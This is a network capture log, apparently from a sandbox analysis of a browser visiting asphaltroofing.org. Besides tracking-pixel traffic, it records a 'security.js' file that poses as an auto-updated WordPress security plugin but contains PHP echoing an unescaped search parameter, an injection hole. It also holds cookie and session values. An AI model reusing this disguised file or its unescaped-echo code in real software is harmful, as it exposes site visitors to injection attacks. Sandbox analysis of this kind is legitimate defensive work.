2024-04-23 14:54:30 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-04-23 14:54:30 UTC	1076	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 35 33 0d 0a 4d 53 2d 43 56 3a 20 32 6a 42 6d 73 73 73 41 4e 45 57 58 79 34 50 56 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 30 65 32 64 35 35 33 36 65 34 31 39 62 64 31 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 51 6c 62 2b 57 67 59 4e 43 38 55 37 6b 51 50 4a 79 72 44 31 34 53 77 45 71 2f 55 47 65 57 78 34 7a 74 51 6b 6b 30 53 57 61 66 59 30 6d 78 4d 34 46 4d 2f 56 61 6f 56 4d 51 53 65 36 50 68 52 57 4b 30 68 2f 4c 6a 30 52 35 5a 56 68 35 61 71 57 4c 37 31 49 64 33 51 32 50 48 75 56 47 69 55 70 6a 54 5a 47 53 69 38 66 42 4c 6f 4c 77 Data Ascii: ATH 2 CON\DEVICE 1053MS-CV: 2jBmsssANEWXy4PV.2Context: b0e2d5536e419bd1<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAQlb+WgYNC8U7kQPJyrD14SwEq/UGeWx4ztQkk0SWafY0mxM4FM/VaoVMQSe6PhRWK0h/Lj0R5ZVh5aqWL71Id3Q2PHuVGiUpjTZGSi8fBLoLw
2024-04-23 14:54:30 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 32 6a 42 6d 73 73 73 41 4e 45 57 58 79 34 50 56 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 30 65 32 64 35 35 33 36 65 34 31 39 62 64 31 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 2jBmsssANEWXy4PV.3Context: b0e2d5536e419bd1<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-04-23 14:54:31 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-04-23 14:54:31 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 54 65 56 31 79 36 74 64 75 55 65 69 65 61 66 70 2b 73 71 77 74 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: TeV1y6tduUeieafp+sqwtw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
309	192.168.2.6	50120	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:31 UTC	834	OUT	GET /security.js?v=1713884069497 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive Cache-Control: max-age=0 Accept: / Service-Worker: script Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: serviceworker Referer: https://www.asphaltroofing.org/guide-for-homeowners/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884066.0.0.0; _scc_session=pc=5&C_TOUCH=2024-04-23T14:54:26.896Z
2024-04-23 14:54:31 UTC	543	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:31 GMT Content-Type: text/javascript Content-Length: 1478 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 29 Apr 2022 14:36:00 GMT ETag: "4506e-5c6-5ddcbf6119400" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:54:31 UTC	1478	IN	Data Raw: 2f 2a 20 49 74 20 69 73 20 57 6f 72 64 50 72 65 73 73 20 73 65 63 75 72 69 74 79 20 66 69 6c 65 2e 0d 0a 54 68 61 6e 6b 73 20 74 6f 20 74 68 69 73 20 70 6c 75 67 69 6e 2c 20 79 6f 75 72 20 77 65 62 73 69 74 65 20 77 69 6c 6c 20 62 65 20 66 61 73 74 65 72 2c 20 6d 6f 72 65 20 75 70 2d 74 6f 2d 64 61 74 65 20 61 6e 64 20 6d 6f 72 65 20 73 65 63 75 72 65 2e 20 54 68 69 73 20 70 6c 75 67 69 6e 20 69 73 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 75 70 64 61 74 65 64 20 62 79 20 74 68 65 20 73 79 73 74 65 6d 2e 0d 0a 0d 0a 24 73 65 61 72 63 68 20 3d 20 24 5f 47 45 54 5b 27 73 65 61 72 63 68 27 5d 20 3f 3f 20 6e 75 6c 6c 3b 0d 0a 65 63 68 6f 20 27 53 65 61 72 63 68 20 72 65 73 75 6c 74 73 20 66 6f 72 20 27 2e 24 73 65 61 72 63 68 3b 0d 0a 24 73 65 61 72 63 68 Data Ascii: /* It is WordPress security file.Thanks to this plugin, your website will be faster, more up-to-date and more secure. This plugin is automatically updated by the system.$search = $_GET['search'] ?? null;echo 'Search results for '.$search;$search

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
310	192.168.2.6	50121	31.13.88.35	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:31 UTC	1216	OUT	GET /tr/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fguide-for-homeowners%2F&rl=&if=false&ts=1713884069718&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fguide-for-homeowners%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884069687&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=GET HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:31 UTC	465	IN	HTTP/1.1 200 OK Content-Type: text/plain Access-Control-Allow-Origin: Access-Control-Allow-Credentials: true Strict-Transport-Security: max-age=31536000; includeSubDomains cross-origin-resource-policy: cross-origin Server: proxygen-bolt X-FB-Connection-Quality: GOOD; q=0.7, rtt=104, rtx=0, c=10, mss=1277, tbw=3405, tp=-1, tpl=-1, uplat=2, ullat=1 Alt-Svc: h3=":443"; ma=86400 Date: Tue, 23 Apr 2024 14:54:31 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
311	192.168.2.6	50122	31.13.88.35	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:31 UTC	1326	OUT	GET /privacy_sandbox/pixel/register/trigger/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fguide-for-homeowners%2F&rl=&if=false&ts=1713884069718&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fguide-for-homeowners%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884069687&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=FGET HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Attribution-Reporting-Eligible: trigger;navigation-source, event-source Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:31 UTC	948	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: image/png reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-23 14:54:31 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-23 14:54:31 UTC	1579	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 74 2d 68 65 69 67 68 74 3d 28 29 2c 20 63 68 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-height=(), ch
2024-04-23 14:54:31 UTC	70	IN	Data Raw: 34 33 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 04 00 00 00 b5 1c 0c 02 00 00 00 0a 49 44 41 54 78 9c 63 00 01 00 00 05 00 01 0d 0a 2d b4 00 00 00 00 49 45 4e 44 ae 42 60 Data Ascii: 43PNGIHDRIDATxc-IENDB`
2024-04-23 14:54:31 UTC	8	IN	Data Raw: 82 0d 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
312	192.168.2.6	50125	104.26.15.119	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:31 UTC	686	OUT	GET /v1/analytics/crumb?cb=1713884068907&a_id=603026366fd8bf4e42de107f&f_id=6627cb818425280008d4a656&ses_id=6627cb7c5c51a2698cf29ddb&ttd_id=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&flvr=page_view&loc_url=https%3A%2F%2Fwww.asphaltroofing.org%2Fguide-for-homeowners%2F&s_w=1280&s_h=1024&b_w=1280&b_h=907&cust_params=e30= HTTP/1.1 Host: polo.feathr.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:54:31 UTC	1058	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:31 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: max-age=0,no-cache,no-store Set-Cookie: f_id=6627cb818425280008d4a656; Domain=feathr.co; Expires=Wed, 23 Apr 2025 14:54:31 GMT; Secure; Path=/; SameSite=None Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7UoWGyR9ZI1PzGqinV3JnYaWt0MaET6d8MWN6LkaaCqP35m172PAO0ZcDmN6%2FsCI3RBBpup4KM1FaLbSsfN0xy7d2qpA9FcQFqZvi7Yb5czCe0Z5DKkEkW%2BJVDekkoem"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eb078c845453f-ATL
2024-04-23 14:54:31 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
313	192.168.2.6	50128	31.13.66.35	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:31 UTC	974	OUT	GET /tr/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fguide-for-homeowners%2F&rl=&if=false&ts=1713884069718&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fguide-for-homeowners%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884069687&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=GET HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:31 UTC	465	IN	HTTP/1.1 200 OK Content-Type: text/plain Access-Control-Allow-Origin: Access-Control-Allow-Credentials: true Strict-Transport-Security: max-age=31536000; includeSubDomains cross-origin-resource-policy: cross-origin Server: proxygen-bolt X-FB-Connection-Quality: GOOD; q=0.7, rtt=114, rtx=0, c=10, mss=1277, tbw=3404, tp=-1, tpl=-1, uplat=0, ullat=0 Alt-Svc: h3=":443"; ma=86400 Date: Tue, 23 Apr 2024 14:54:31 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
314	192.168.2.6	50129	31.13.66.35	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:31 UTC	1011	OUT	GET /privacy_sandbox/pixel/register/trigger/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fguide-for-homeowners%2F&rl=&if=false&ts=1713884069718&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fguide-for-homeowners%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884069687&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=FGET HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:31 UTC	900	IN	HTTP/1.1 200 OK reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-23 14:54:31 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-23 14:54:31 UTC	1609	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 74 2d 68 65 69 67 68 74 3d 28 29 2c 20 63 68 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-height=(), ch

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
315	192.168.2.6	50130	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:31 UTC	932	OUT	GET /security.js?v=1713884069497 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive Cache-Control: max-age=0 Accept: / Service-Worker: script Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: serviceworker Referer: https://www.asphaltroofing.org/security.js?v=1713884069497 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884066.0.0.0; _scc_session=pc=5&C_TOUCH=2024-04-23T14:54:26.896Z If-None-Match: "4506e-5c6-5ddcbf6119400" If-Modified-Since: Fri, 29 Apr 2022 14:36:00 GMT
2024-04-23 14:54:32 UTC	478	IN	HTTP/1.1 304 Not Modified Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:31 GMT Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 29 Apr 2022 14:36:00 GMT ETag: "4506e-5c6-5ddcbf6119400" Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
316	192.168.2.6	50135	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
